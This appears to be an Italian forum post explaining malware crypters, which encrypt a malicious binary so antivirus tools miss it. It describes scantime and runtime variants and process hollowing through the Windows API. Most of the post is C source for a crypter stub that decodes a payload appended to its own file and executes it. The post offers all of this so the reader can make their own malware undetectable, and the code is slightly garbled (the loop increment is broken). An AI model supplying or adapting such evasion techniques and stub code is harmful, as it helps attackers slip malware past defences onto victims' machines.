Prima di tutto devi distinguere tra cripte "scantime" e "runtime"
- Scantime: questo tipo di cripte rende il tuo malware non rilevabile dai software antivirus mentre il tuo malware non viene eseguito. Rende difficile l'analisi statica del tuo file binario perché la parte dannosa del tuo binario malware viene crittografata. Quando il malware viene eseguito, lo stub decodifica la parte malevola del file binario e viene caricato in memoria. Quando è nella memoria in forma decifrata, è rilevabile dal software antivirus.
- Runtime: Scantime + solo le parti necessarie per eseguire un'attività specifica vengono decodificate durante il runtime. Dopo aver completato il loro compito, lo Stub li cripta di nuovo.
Fondamentalmente un criptatore sta per prendere il contenuto di un file infetto, crittografarlo (per bypassare il rilevamento della firma) e posizionarlo nella parte inferiore di un file apparentemente privo di virus chiamato "stub".
Il tuo file stub estrarrà da sé i dati crittografati, lo decodificherà, quindi estrarrà ed eseguirà in memoria (per bypassare il rilevamento euristico). [crypters.net]
Questo è possibile perché sotto Windows, un processo può essere creato in modalità sospensione usando l'API CreateProcess con il parametro CREATE_SUSPENDED. L'immagine EXE verrà caricata in memoria da Windows ma l'esecuzione non inizierà finché non viene utilizzata l'API ResumeThread. Prima di chiamare ResumeThread, è possibile leggere e scrivere lo spazio di memoria di questo processo utilizzando API come ReadProcessMemory e WriteProcessMemory. Ciò rende possibile sovrascrivere l'immagine dell'EXE originale con l'immagine di un altro EXE, consentendo così l'esecuzione del secondo EXE nello spazio di memoria del primo EXE. [security.org.sg]
e qui un codice stub che ho trovato online:
/*
Stub para Ca0s Crypt v1
If you modify source source, change MySize to new size in bytes
[st4ck-3rr0r.blogspor.com]
*/
#include <sys/stat.h>
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <process.h>
#define MySize 19856
FILE *mySelf, *tmpFile;
struct stat myStat;
char myName[MAX_PATH], tmpName[MAX_PATH];
int embedSize, x;
char *myByte, *modeByte, *cByte;
int main()
{
GetModuleFileName(NULL, myName, sizeof(myName));
stat(myName, &myStat);
embedSize=myStat.st_size-MySize;
mySelf=fopen(myName, "rb");
lseek(fileno(mySelf), MySize, SEEK_SET);
tmpnam(tmpName);
tmpFile=fopen(tmpName, "wb");
myByte=(char *)malloc(1);
modeByte=(char *)malloc(1);
cByte=(char *)malloc(1);
fread(modeByte, 1, 1, mySelf); /// Crypt mode
fread(cByte, 1, 1, mySelf); // Crypt byte
for(x=0; x<embedSize; x )
{
fread(myByte, 1, 1, mySelf);
if(*modeByte==0x01)
*myByte-=*cByte;
if(*modeByte==0x02)
*myByte^=*cByte;
fwrite(myByte, 1, 1, tmpFile);
}
fclose(mySelf);
fclose(tmpFile);
char *execPath[2];
execPath[0]=tmpName;
execPath[1]=NULL;
execve(execPath[0], execPath, NULL);
return 0;
}